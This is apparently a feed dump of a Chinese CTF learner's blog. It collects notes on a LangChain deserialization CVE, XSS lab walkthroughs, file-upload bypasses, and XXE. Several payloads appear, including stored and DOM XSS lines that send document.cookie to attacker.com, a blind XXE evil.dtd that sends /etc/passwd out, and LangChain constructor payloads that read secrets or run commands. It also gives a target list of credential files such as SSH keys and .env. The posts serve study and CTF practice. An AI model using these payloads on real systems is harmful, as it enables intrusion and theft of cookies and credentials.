            "读环境变量": '{"lc":1,"type":"constructor","id":["malicious_modules","env_reader","EnvReader"],"kwargs":{"key":"TEST_SECRET"}}',  
            "读文件（Windows）": '{"lc":1,"type":"constructor","id":["malicious_modules","file_reader","FileReader"],"kwargs":{"file_path":"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts"}}',  
            "执行命令（Windows）": '{"lc":1,"type":"constructor","id":["malicious_modules","cmd_executor","CmdExecutor"],"kwargs":{"cmd":"whoami"}}'  
        }  
      
        for test_name, payload_str in test_payloads.items():  
            print(f"\n--- 测试：{test_name} ---")  
            try:  
                payload_data = json.loads(payload_str)  
                result = my_load(payload_data)  # 用自己的load逻辑  
                print(f"payload：{payload_str}")  
                print(f"结果：{result}")  
                print(f"结果类型：{type(result)}")  
            except Exception as e:  
                print(f"测试失败：{str(e)}")

    能得到所有的结果

    其中的py文件都是类似于漏洞的执行逻辑写的 如果是ctf题或者是实战 就完全不能是这个payload了 id里面的 而是类似于这种

    1
    2
    3
    4
    from builtins import open["builtins", "open"]内置 open 类（读文件）
    from subprocess import Popen["subprocess", "Popen"]内置 Popen 类（执行命令）
    from langchain_core.tools import CommandLineTool["langchain_core", "tools", "CommandLineTool"]LangChain 自带的命令执行类
    from app.utils import CmdRun["app", "utils", "CmdRun"]目标代码自定义的类

    这种

    1
    2
    读 flag 文件builtins.open["builtins", "open"]{"file": "/flag", "mode": "r"}
    执行系统命令subprocess.Popen["subprocess", "Popen"]{"args": ["cat", "/flag"], "stdout": -1, "shell": true}

    然后注意
    constructor只能实例化类（有__init__方法），不能直接调用函数（比如os.system是函数，不能写id: ["os", "system"]）
    还有就是目标代码里面有命名空间限制（大多数都是有的）就是用到LangChain 自身的工具类 ivory学长的博客上面也说了 最好用的一般都在黑名单里面 一般的就…

    1
    2
    3
    CommandLineToollangchain_core.tools执行系统命令["langchain_core", "tools", "CommandLineTool"]
    FileReadToollangchain_core.tools读取文件["langchain_core", "tools", "FileReadTool"]
    FileWriteToollangchain_core.tools写入文件["langchain_core", "tools", "FileWriteTool"]

    主要就是掌握id的构造 实战很难搞出东西(目前为止) 只是看环境

    ]]>     http://47.109.24.42/2026/01/05/%E5%A4%8D%E7%8E%B0CVE-2025-68664/ 2026-01-05T13:00:00.000Z 漏洞原理

    LangChain框架在处理LLM应用的复杂数据结构时，采用了定制的序列化机制。该机制与标准JSON序列化不同，它使用特殊的]]>

    复现CVE-2025-68664 2026-01-05T13:00:00.000Z     xiexie

  • 什么是xss

    • 跨站脚本攻击 原理是操纵存在漏洞的网站，使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时，攻击者就能完全控制用户与应用程序的交互。

    • XSS概念验证

    通过注入一段有效载荷来验证大多数类型的 XSS 漏洞，该有效载荷会导致您的浏览器执行一些任意 JavaScript 代码。相当于就是快速检测是否有xss漏洞 。在大多数靶场里面可以快速用函数alert() 看看会不会出现弹窗 后面alert()函数在有些无法使用了 用的是print()

    • XSS攻击类型

    XSS攻击主要分为三种类型，分别是：

    • 反射型 XSS，其中恶意脚本来自当前的 HTTP 请求。
    • 存储型 XSS，其中恶意脚本来自网站的数据库。
    • 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。
    • 反射型xss

    恶意代码通过 URL 参数传递，服务器未过滤直接将其返回给浏览器，浏览器执行这段代码。
    比如

    1
    漏洞页面：search.php <?php // 直接获取URL中“query”参数的值，未过滤 $search_query = $_GET['query']; ?> <!DOCTYPE html> <html> <body> <p>你搜索的内容是：<?php echo $search_query; ?></p> <!-- 直接输出用户输入 --> </body> </html>

    注入

    1
    http://example.com/search.php?query=<script>alert('反射性XSS测试')</script>

    然后别人输入 或者点击我构造的危险链接后 我服务器上就能获得别人的信息 cookie 当前页面等等

    • 存储型 XSS

    指应用程序从不受信任的来源接收数据，并以不安全的方式将该数据包含在其后续的 HTTP 响应中 也就是会影响到所有接收到http响应的人 

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    // 1. 提交留言接口：save_message.php
    <?php
    // 接收用户输入的留言内容
    $message = $_POST['content'];
    // 连接数据库，直接存储恶意代码（无过滤）
    $conn = mysqli_connect("localhost", "root", "password", "test_db");
    $sql = "INSERT INTO message (content) VALUES ('$message')";
    mysqli_query($conn, $sql);
    ?>

    // 2. 展示留言接口：show_message.php
    <?php
    $conn = mysqli_connect("localhost", "root", "password", "test_db");
    $sql = "SELECT content FROM message";
    $result = mysqli_query($conn, $sql);
    // 读取所有留言并直接输出到页面（无转义）
    while($row = mysqli_fetch_assoc($result)) {
        echo "<div class='msg'>" . $row['content'] . "</div>";
    }
    ?>

    然后构造

    1
    <script> // 窃取当前用户Cookie并发送到攻击者服务器 var cookie = document.cookie; new Image().src = "http://attacker.com/steal.php?cookie=" + cookie; </script>

    当任何用户访问show_message.php页面时，服务器会从数据库读取这条恶意留言，并输出到页面中。用户的浏览器会自动执行脚本：
    读取该用户的网站 Cookie；
    跨域将 Cookie 发送到攻击者的服务器；
    攻击者查看steal.php的日志，即可获取所有访问该留言板用户的 Cookie。

    • 基于 DOM 的 XSS（恶意代码全程不经过服务器）

    什么是DOM 文档对象模型 通过将文档的结构（例如表示网页的 HTML）以对象的形式存储在内存中，将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分，但它通常与 JavaScript 相关。
    举个例子

    1
    <p id="greet">你好</p>

    对这个HTML代码
    用 JavaScript 就能通过 DOM 轻松修改它：

    1
    // 从 DOM 里找到 id 是 greet 的元素 var pTag = document.getElementById("greet"); // 修改它的文字内容 pTag.textContent = "你好呀！";

    就像是用编程语言去控制html的翻译官吧
    当页面的 JavaScript直接使用客户端可控的数据（如 URL 参数、localStorage、sessionStorage等）来更新 DOM，且没有对数据做过滤 / 转义时，攻击者可以构造恶意数据，让 JavaScript 把恶意脚本插入到页面中并执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!DOCTYPE html>
    <html>
    <body>
      <div id="welcome"></div>

      <script>
        // 从URL的query参数中获取"username"的值
        // 例如 URL：http://example.com/welcome.html?username=test
        var username = new URLSearchParams(location.search).get('username');
        // 直接将username插入到页面的welcome节点中（危险操作）
        document.getElementById('welcome').innerHTML = "欢迎你，" + username;
      </script>
    </body>
    </html>

    假设一个有漏洞的前端代码

    1
    2
    http://example.com/welcome.html?username=<img src=x onerror="new Image().src='http://attacker.com/steal.php?cookie='+document.cookie">
    img标签的onerror事件（图片加载失败时执行代码），绕过了直接写<script>的限制

    使用危险 DOM API 处理客户端数据
    直接赋值给innerHTML、outerHTML、document.write()；
    动态创建标签时使用eval()、setTimeout()、setInterval()执行字符串（如eval(location.hash)）；
    动态设置元素的事件属性（如onclick、onerror、onload)(会把写入的内容当作 HTML 解析）

    wp

    • xss.haozi

    1.

    1
    2
    3
      function render (input) {
      return '<div>' + input + '</div>'
    }

    这个函数的逻辑是把传入的 input 参数直接拼接进 <div> 标签的 HTML 字符串中返回，完全没有对 input 中的特殊字符（如 <、>、script 等）做过滤或转义
    那么直接弹窗就可以了
    1
    <script>alert(1)</script>

    2. 

    1
    2
    3
    function render (input) {
      return '<textarea>' + input + '</textarea>'
    }

    <textarea> 是 HTML 的表单元素，设计初衷就是承载原始文本（比如输入框、编辑器内容），浏览器解析时会有特殊规则：
    只要内容还在 <textarea> 标签内部，所有字符（包括 <、>、<script> 等）都会被当作纯文本显示，不会解析成 HTML/JavaScript。 学到的方法 直接闭合 </textarea>（闭合标签），就能跳出<textarea>的纯文本上下文 

    1
    "</textarea><script>alert(1)</script>"

    也就是这样输入

    1
    <textarea>"</textarea><script>alert(1)</script>"</textarea>

    然后拼接成这样
    3. 

    1
    2
    3
    function render (input) {
      return '<input type="name" value="' + input + '">'
    }

    直接把input拼接进去 input本身是创建表单的 而且

    1
    表单输入元素，属于「单标签」（没有闭合标签 </input>，直接以 <input ...> 结束）；

    这里可以提前闭合 然后执行 这里是一个新的方法 后面的<img>标签会被正常解析，src=1无效触发onerror事件，执行alert

    1
    "> <img src=x onerror=alert(1)>

    正常执行就可以了 

    1
    "> <script>alert(1)</script>

    或者是直接用上input 

    1
    " onclick=alert(1) x="

    把前面value闭合了 把后面input也闭合了 变成这样 

    1
    <input type="name" value="" onclick=alert(1) x="">

    他的事件属性
    onclick = 点击事件：当用户用鼠标左键点击该 HTML 元素时，立即执行onclick里的 JS 代码
    onfocus = 聚焦事件：仅针对输入类元素（<input>、<textarea>），当用户把光标移入该元素（比如点击输入框准备输入内容）时，执行onfocus里的 JS 代码。
    onchange = 内容改变事件：仅针对输入类元素，满足两个条件才触发：

    1. 用户修改了元素的内容（比如输入框里打字、下拉框选选项）；
    2. 光标离开该元素（比如点击页面其他地方、按 Tab 键）。
    1
    2
    3
    4
    5

    事件属性生效范围XSS 攻击核心利用标签核心特点
    onclick几乎所有 HTML 标签<input>/<img>点击就触发，通用但易察觉
    onfocus仅输入类表单标签（<input>/<textarea>/<select>）<input>聚焦就触发，最隐蔽，输入必中
    onchange仅可修改内容的表单标签（<input>/<textarea>/<select>）<input>改内容 + 离开触发，窃取输入内容

    这一关我都试了 都是可行的
    4. 黑名单 简陋的替换()为空字符 除了这个靶场 其他想要窃取cookie几乎也不需要()这个吧 但是还是得知道怎么过

    1
    <script>alert`1`</script>

    用 反引号来包裹 或者是 HTML实体编码来进行绕过
    1
    <svg src=x οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

    这里可以用上极客里面的svg （回忆一下）矢量图形格式 允许内嵌 JavaScript 代码，也能绑定onload/onclick/onmouseover等事件属性，浏览器解析 SVG 时会执行这些 JS
    5. 过滤了反引号 那就是html实体编码 onload 是 HTML 的 “加载完成事件属性” —— 当某个 HTML 元素（或整个网页）完全加载完毕后，浏览器会自动执行 onload 属性里的 JavaScript 代码。
    1
    <svg src=x onload=alert&#40;1&#41;>

    6. 闭合掉注释
    1
    2
    <!-- -- !>
    --!><script>alert(1)</script><!--

    7. 过滤掉各种属性 on auto 以及标签> 看wp了

    onclick=alert(1)

    居然是换行 什么原理
    这里的「任意字符」不包含换行符（正则默认模式下，. 匹配除 \n/\r 外的所有字符）。

    on.*=的匹配逻辑：`.*`是 “贪婪匹配任意字符（除换行）”，因为正则默认`.`不匹配换行符（`\n`），所以当`onclick`和`=`之间有换行时，`on.*=`无法匹配整个`onclick\n=`，所以不会被替换，从而绕过过滤
    1. 过滤了> 看wp 此处过滤了尖括号之间的字符，不过由于浏览器的兼容性，反尖括号（>）可以省略，从而进行绕过
    <svg onclick="alert(1)"解析onclick=alert(1) → 无引号时，属性值从alert开始，遇到第一个特殊字符(就立即终止；onclick的属性值只保留alert，后面的(1)被当作 “SVG 标签内的无效文本”；最终解析结果：<svg onclick=alert (1)</svg> → onclick只绑定了alert（无参数），自然触发不了弹窗。所以这里是单一属性 需要加引号（其实这个才是标准写法） 不加引号的话 给 svg 的 onclick 也加 “空格分隔的无效属性”，让`onclick=alert(1)`变成独立属性，无引号也能生效：<svg onclick=alert(1) x=1
    1. 用前面学到的换行绕过即可
    </style><script>alert(1)</script><style>
    1. 利用onerror 先匹配上正则 但是需要是个假的url 来使后面的代码执行 最后闭合上alert(1)
    https://www.segmentfault.com111" onerror="alert(1)
    1. 先看源代码 是黑名单过滤
    function render (input) &#123;  function escapeHtml(s) &#123;    return s.replace(/&/g, '&amp;')            .replace(/'/g, '&#39;')            .replace(/"/g, '&quot;')            .replace(/</g, '&lt;')            .replace(/>/g, '&gt;')            .replace(/\//g, '&#x2f')  &#125;  const domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) &#123;    return `<script src="$&#123;escapeHtml(input)&#125;"></script>`  &#125;  return 'Invalid URL'&#125;

    同时有上一关的正则匹配 这个也是看的wp 神奇
    使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址 这个记一下知识点吧 毕竟哪个服务器上面会有个这个文件 我还要事先知道 记一下wp吧

    https://www.segmentfault.com@xss.haozi.me/j.js
    1. 转大写 直接编码
    <img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
    1. 去掉script 转大写 编码一样可以
    2. 注释掉了 然后黑名单 这里看着html写就可以了 绕过注释 最后有个’） 直接–>注释掉
    1
    2
    3

    alert(1)
    -->
    1. 开始一次不能用字母 然后转大写 后面可以实体编码 前面不知道了 先放着
      实在是没法 看wp了 这谁能想到 ſ 大写后为 S（ſ 不等于s） (还有古英文！！)
    1
    <ſcript src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
    1. 原本想用上注释的 但是>被ban了 还好是在标签里面 前面的实体编码也没什么用 看着下面写闭合就可以了 然后加上; 保证能执行
    1
    ');alert(1)('
    1. 这个是怎么防的？就是可以直接写代码 而且连标签都不用管 感觉怪怪的
    2. 过滤了很多 比较重要的就是
    1
    ' \\ " < > `

    上面错了 这里我补上知识点
    JS 解析的优先级是「先处理转义符 → 再执行表达式 → 最后处理语法错误」，这也是 alert 能执行的关键 也就是说转义符会被直接无视 等于没有黑名单 直接照着前面闭合就可以了
    19. 给双引号加上转义 前面的知识点 等于没有过滤了 但是我的输入会在”包着的
    搞了一个这个

    1
    <script>console.log("\");alert(1);(\"");</script>

    为啥不行 不是说会被转义吗？上一关是javascript: 会让字符串内容在第二次解析中重新成为代码，正是在第二次解析里成功闭合了字符串并执行了 alert
    我这里就等于 console.log(‘“);alert(1);(“‘); 而上一道题

    1
    var url = 'javascript:console.log("\");alert(\"1")'

    先等于javascript:console.log(“”);alert(“1”)
    然后再次执行 前面就闭合了
    所以说这道题 

    1
    <script>console.log("\\"); alert(1) //");</script>

    是一次性闭合了前面 来直接执行的 我看的网上的wp几乎都是写的很乱不清楚 搞了好久

    xss挑战

    规则

    • 应该执行alert(document.domain)。
    • 应该利用该域名上的跨站脚本漏洞。
    • 不应该是自XSS攻击或与中间人攻击相关的攻击。
    • 应在go.intigriti.com/submit-solution上报告。
    • 无需用户交互。
      限制了长度 不能超过24个词 很受限制了 因为执行的东西就22了 不可能加标签了 抓包看看 有没有可能是简简单单的前端验证 其实没有这个限制呢 f12改尝试了 并不是 后端验证得死死的 不过重新审计代码
      前面的前端动效之类的不用管 后面扒下来
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    <script>
        window.name = 'XSS(eXtreme Short Scripting) Game'

        function showModal(title, content) {
          var titleDOM = document.querySelector('#main-modal h3')
          var contentDOM = document.querySelector('#main-modal p')
          titleDOM.innerHTML = title
          contentDOM.innerHTML = content
          window['main-modal'].classList.remove('hide')
        }

        window['main-form'].onsubmit = function(e) {
          e.preventDefault()
          var inputName = window['name-field'].value
          var isFirst = document.querySelector('input[type=radio]:checked').value
          if (!inputName.length) {
            showModal('Error!', "It's empty")
            return
          }

          if (inputName.length > 24) {
            showModal('Error!', "Length exceeds 24, keep it short!")
            return
          }

          window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
        }

        if (location.href.includes('q=')) {
          var uri = decodeURIComponent(location.href)
          var qs = uri.split('&first=')[0].split('?q=')[1]
          if (qs.length > 24) {
            showModal('Error!', "Length exceeds 24, keep it short!")
          } else {
            showModal('Welcome back!', qs)
          }
        }
      </script>
    </body>
    </html>

    关注一下这一个
    window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst 也就是说当我输入名字时 其实是这样子的q=名字&first=yes

    1
    2
    3
    4
    5
    6
    7
    // 1. 判断当前页面URL是否包含 "q=" 字符串
    if (location.href.includes('q=')) {
      // 2. 解码URL（处理URL中被编码的特殊字符，比如空格、中文等）
      var uri = decodeURIComponent(location.href)
      // 3. 提取?q=后面、&first=前面的内容
      var qs = uri.split('&first=')[0].split('?q=')[1]
    }

    这里定义了两个参数 qs也就是用户输入的 它提取出来了 uri 存储解码后的完整 URL。
    decodeURIComponent()：URL 解码函数。因为浏览器会把 URL 中的特殊字符（比如中文、空格、&、= 等）编码成百分号形式
    意思是检查的长度24只是在q=后面、&first=前面的内容
    重新看一下

    1
    2
    titleDOM.innerHTML = title
          contentDOM.innerHTML = content

    把上面记得搬过来 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。
    那么之前看uri变量 用到换行符 真正执行的alert(document.domain)不计入长度检测就可以了
    关于在js里换行符的知识 先解释JS 的解析逻辑
    按行扫描 行内必须是合法 JS 新的一行是新的语句开始点
    例如
    eval("https://example.com\r\nalert(1)")
    其实是等价于
    alert(1)
    对于换行符的边界

    在JS里面 比较宽松 这两个都能作为LineTerminator（这一行代码结束了，下一行可以当作一条新的语句重新解析）
    但是
    HTTP 协议规范规定：一行头必须以 CRLF 结尾
    也就是CRLF的兼容性比较大
    那么 eval("https://... ?q=...&first=yes\r\nalert(document.domain)")
    实际上执行的也就是alert(document.domain)
    payload

    1
    ?q=<svg/onload=eval(uri)>&first=yes%0aalert(document.domain)`

    还有一点 无论长度限制 这里都没法用<script>
    发生注入的位置

    1
    contentDOM.innerHTML = qs

    关键规则
    通过 innerHTML 动态插入的 <script> 标签，默认不会执行

    这个题并不是页面初始 HTML 解析阶段
    contentDOM.innerHTML = qs 把字符串「当 HTML 解析」然后再插入 DOM 树
    之前完全忽略了这一点

    ]]>     http://47.109.24.42/2025/12/28/xss%E5%AD%A6%E4%B9%A0%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BA/ 2025-12-28T13:00:00.000Z

  • 什么是xss

    • 跨站脚本攻击 原理是操纵存在漏洞的网站，使其向用户返回恶意 Jav]]>

    xss学习以及靶场 2025-12-28T13:00:00.000Z     xiexie
  • 前端验证 可以禁用js 或者是先改后缀 然后抓包改
  • 检查content-type 抓包改
  • 在apache文件里面看哪些后缀会被作为php文件解析 php php3 phtml
  • .htaccess 是Apache 服务器专属的 “分布式配置文件”（Nginx/ IIS 服务器不支持) 作用是 “局部配置”：不用修改 Apache 的主配置文件，只需把.htaccess 放在某个目录下，就能对这个目录及所有子目录生效；修改后不用重启 Apache 服务器，保存就生效
    那么这里的攻击就是先上传恶意的.htaccess 文件修改目录解析规则，再上传伪装成普通文件的恶意脚本，让服务器把这些 “伪装文件” 当作 PHP 等脚本解析执行。前提是上传目录的 Apache 配置中，AllowOverride被设为All（允许.htaccess 覆盖解析规则，默认部分服务器会开启）那么直接加上解析规则
    • 1
    AddType application/x-httpd-php .jpg .png

    之后传个马
    5. .user.ini PHP（CGI/FastCGI 模式）的目录级配置文件 PHP 解释器（PHP-FPM）是独立于 Web 服务器的进程，它会按 “目录” 维度扫描配置文件（比如.user.ini），实现 “不同目录用不同配置”；也就是说这个题只能在这个情况下才有作用 但是所有服务器都支持 与.htaccess不一样
    关键配置

    1
    2
    auto_prepend_file=文件名：每个 PHP 文件执行前，自动包含（引入）指定文件；
    auto_append_file=文件名：每个 PHP 文件执行后，自动包含指定文件。

    这里假设我传上去的是1.jpg 然后访问readme.php
    服务端把1.jpg 里的内容读出来，跟 readme.php 的代码合并在一起，再执行整个合并后的代码。
    6. 大小写绕过 Web 服务器默认不区分文件后缀的大小写，是解析规则导致的
    7. 尾部加空格 Windows 自动截断空格，Linux 下服务器解析时忽略末尾空白字符；
    8. 尾部加点 Windows NTFS 文件系统专属的文件名解析特性导致的（Linux 系统无此问题）说到NTFS 它是 Windows 管理硬盘文件的 “规则集” —— 规定了文件如何存储、命名、权限控制、数据安全等核心逻辑 包括下面的支持 备用数据流（ADS）::DATA 绕过
    9. 在php文件附加数据流不会验证后缀 Windows 解析文件名时，会 自动忽略 ::DATA 及其后面的内容（只识别前面的文件名），所以 shell.php::DATA.jpg 会被当成 shell.php 处理 —— 这就是 ::DATA 绕过的本质。
    10. .php. .
    11. 双写绕过
    12. %00强制截断，他在url编码里面对印的是\0（空字符），可以直接被认为是结束符，不再读取后面的部分，我们看源码，首先首先，还是必须要绕过这个白名单验证，直接改后缀为这三个当中的一个就可以，最重要的是他是get储存路径里面的文件，原来的文件对应的就是upload里面的我们上传的不能被解析为php的东西，我们直接%00截断，在路径后面直接加上.php的文件，然后截断，服务器就会得到的是.php的东西，绕过。（php5.2特有漏洞·）
    13. POST 改为00
    14. 只检查文件头 因为有文件包含漏洞 所以没必要按着wp做 直接做个图片马也可以 换文件头也可以
    15. getimagesize()，这个该函数是获取文件基础信息，依次是宽，高，常量（记录类型的），类型，然后下一个image_type_to_extention()，就用上面得到的常量来得到后缀 图片马
    16. exif_imagetype()，是只获取文件类型的函数，相比于getimagetype()，虽然获取的类型更少了，但是获取的准确性和速度都更快了 图片马
    17. 二次渲染的地方重新插入一句话木马，就不会被破坏。那么得到二次渲染后的图片，就上传，然后得到时间戳，就用文件本身的include漏洞绕过就可以。
    18. 执行move_uploaded_file($temp_file, $upload_file)时，文件已经被上传到服务器的UPLOAD_PATH目录 之后才检查后缀是否合法，即使后缀不合法，文件也已经在服务器上存在了短暂的时间 那么在执行unlink之前 去执行木马文件 这里用的yakit 放一个能生成小马的木马 然后一直放 另一边一直访问就可以

    1
    <?php                                                                     ?>');
    1. 也是条件竞争 但是加了一点服务端本身可利用的特性 使用 Apache 的网站解析文件名时从右往左看，如果第一个后缀无法解析将会解析下一个后缀 7z 是 Apache 服务器默认不会解析的后缀名 .php.7z 然后条件竞争去访问 生成小马
    2. 看黑名单，没有.ini，那么可以向第五关那样子，先自己搞一个.user.ini文件，里面auto_prepend_file=.jpg(要求的都可以)，然后上传写的这个带有一句话木马的文件就可以。或者这上面获取后缀的方式是最后一次出现点之后的可以1.php. （加空格绕过），得到的后缀是空的，绕过黑名单。
    3. 这个检查方式有点奇妙 大概就是以.来分割 然后把储存的文件改成$file[0].$file[元素个数-1] 还要保证最后一个元素在白名单里面 漏洞原理就是形成一个数组的漏洞 让数组之间有一个是空的 最后指向的是它
    ]]>     http://47.109.24.42/2025/01/07/upload%E9%9D%B6%E5%9C%BA%E9%87%8D%E5%81%9A/ 2025-01-07T10:00:00.000Z
  • 前端验证 可以禁用js 或者是先改后缀 然后抓包改
  • 检查content-type 抓包改
  • 在apache文件里面看哪些后缀会被作为php文件解析 php php3 phtml
  • .htaccess 是Apach]]>
    • upload靶场重做 2025-01-07T10:00:00.000Z     xiexie 什么是XXE

    XXE(XML External Entity Injection) 全称为 XML 外部实体注入 XML注入 在极客2025里面做过的 用svg标签来得到 当然太局限局限了 继续往下看 XML 文件可以通过 “外部实体”（DOCTYPE 声明中的 ENTITY）引用外部资源，但如果服务器的 XML 解析器未禁用外部实体加载，攻击者就能构造恶意 XML 内容，诱导解析器执行非法操作（比如读取服务器本地文件、访问内部网络等）。

    基础知识

    • DTD 简单说简单说，DTD 是 XML 的 “格式说明书”：
      规定 XML 里能出现哪些元素、属性；
      定义元素的嵌套顺序、次数；
      统一不同 XML 文档的格式（比如数据交换时保证双方的 XML 结构一致）
    • 分为 内部 DTD：直接写在 XML 文档里（用<!DOCTYPE>声明）和 外部 DTD：写在单独的文件里，XML 通过SYSTEM或PUBLIC引用
    • ENTITY 可被替换展开的占位符 其实就相当于
    1
    2
    3
    4
    5
    6
    7
    <!DOCTYPE test [
      <!ENTITY name "Alice">
    ]>
    <user>
      <username>&name;</username>
    </user>

    把name换成了Alice 下面的&是引用前面的

    • SYSTEM —— “直接指定位置”
    1
    <!ENTITY 实体名 SYSTEM "URI">

    其实就是 

    1
    <!ENTITY xxe SYSTEM "file:///etc/passwd">

    等于直接读取 /etc/passwd 内容
    还可以发送http请求 比如

    1
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">

    是向 127.0.0.1 发起 HTTP 请求

    PUBLIC —— 给一个名字，你自己找(xxe基本用不到 了解一下)

    1
    <!ENTITY 实体名 PUBLIC "公共标识符" "URI">

    一般的例子

    1
    2
    3
    <!DOCTYPE html PUBLIC
      "-//W3C//DTD XHTML 1.0 Strict//EN"
      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    前面是一套公共的标准 大概就是规范化命名格式 后面就是System Identifier（系统标识符）给一个找东西的参考地址

    • 通用实体 用 &实体名; 引用的实体
    • 参数实体 使用 % 实体名(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 %实体名 文章里面讲的没有太细 看输了概念觉得也不需要很细 毕竟攻击的源头其实是他们的外部引用 但是这里文章说 参数实体在我们 Blind XXE 中起到了至关重要的作用 边看边记录了

    XXE攻击

    • 有回显读本地敏感文件(Normal XXE)
      其实就是用简单的引用外部实体去得到服务器上的文件 需要满足
      服务器 解析了 XML
      实体被展开
      展开的内容 被返回给你看
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <user>
      <name>&xxe;</name>
    </user>

    假设 然后后端发现 &xxe;
    查实体表
    发现是 外部实体
    读取 file:///etc/passwd
    把读取到的内容 当成普通文本插进去
    文章这里提到的情况 如果要读取的是有一些特殊情况的文件 比如在XML中，有时实体内包含了些字符，如&,<,>,”,’等。这些均需要对其进行转义，否则会对XML解释器生成错误
    用到CDATA
    CDATA 是：
    告诉 XML 解析器——“这里面的内容当作纯文本，不要当成 XML 语法来解析”

    1
    2
    3
    <![CDATA[
      这里面的内容不会被当成 XML 解析
    ]]>

    对于xml中 不能通过拼接 因为

    1
    2
    <!ENTITY ...> 只能出现在 DTD
    XML 正文已经是结构阶段 这时候不能定义规则 只能使用已经定义好的规则 而在 DTD 中，唯一能拼的工具就是：参数实体

    这里直接写上那个例子的payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
    %dtd; ]> 

    <roottag>&all;</roottag>

    evil.dtd

    1
    2
    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">
    • 无回显读取本地敏感文件(Blind OOB XXE)
      一般的都是没有回显的 能解析XML同时还能回显出来 情况太少了
      所以 以下的方式 把“本地文件内容” → 放进“外部请求” → 发给攻击者
      攻击流程固定为三步：
      1️⃣ 在主 XML 中引入攻击者控制的外部 DTD
      2️⃣ 在外部 DTD 中使用参数实体读取本地文件（SYSTEM file://）
      3️⃣ 将文件内容拼接进外部请求 URL，强制解析器对攻击者服务器发起请求
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
      %ext;
    ]>
    <root>test</root>

    evil.dtd

    1
    2
    3
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % send SYSTEM "http://attacker.com/leak?data=%file;">
    %send;

    这是http协议里面的 极客里面做过dns（这个确实不好防 主要是将域名解析为 IP 地址这个可以说是挺必要的了 防火墙很少拦 DNS）的外带 在DNS日志里面能直接看到敏感信息

    这里记一下支持的协议
    文章下面与一些常可探测且有价值的文件相关 下面记一下敏感文件

    /etc/network/interfaces

    • 网络接口配置文件（Debian / Ubuntu）

    • 包含：IP、网关、网卡名称、DHCP 配置

    • 价值：

      • 判断内网网段

      • 判断是否在云 / 容器 / 内部网络

    /proc/net/arp

    • ARP 缓存表

    • 包含：内网 IP ↔ MAC 映射

    • 价值：

      • 枚举内网存活主机

      • 判断是否存在网关、网桥、容器网络

    /etc/hosts

    • 本地域名解析文件

    • 包含：内部域名 → 内网 IP

    • 价值：

      • 泄露内部服务名称（db、redis、api）

      • 为 SSRF / 内网访问提供指引

    Linux 常见敏感文件分类（重点）

    1️⃣ 用户与身份信息

    文件说明
    /etc/passwd用户列表
    /etc/group用户组
    /etc/shadow密码哈希（高权限）

    2️⃣ 系统与基础环境信息

    文件说明
    /etc/hostname主机名
    /etc/os-release系统版本
    /proc/version内核信息
    /proc/cpuinfoCPU 信息

    3️⃣ 网络与内网结构（侦察核心）

    文件说明
    /etc/resolv.confDNS 服务器
    /proc/net/route路由表
    /proc/net/arp内网主机
    /etc/network/interfaces网卡配置

    4️⃣ 进程 / 容器 / 云环境判断（非常重要）

    文件说明
    /proc/1/cgroup判断 Docker / K8s
    /proc/self/cgroup当前进程环境
    /proc/1/environPID 1 环境变量（核心）

    5️⃣ 配置文件与凭据（价值最高）

    文件说明
    /var/www/html/.envWeb 应用环境变量
    /app/.env容器应用配置
    /root/.ssh/id_rsaSSH 私钥
    /home/*/.ssh/authorized_keys登录授权
    文章里脚本的原理就是将目标服务器当作“内网代理”，通过 SSRF 扫描内网 HTTP 服务 然后还套了base64 保证外带正常 脚本先记一下吧
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import requests
    import base64

    #Origtional XML that the server accepts
    #<xml>
    #    <stuff>user</stuff>
    #</xml>


    def build_xml(string):
        xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
        xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
        xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
        xml = xml + "\r\n" + """<xml>"""
        xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
        xml = xml + "\r\n" + """</xml>"""
        send_xml(xml)

    def send_xml(xml):
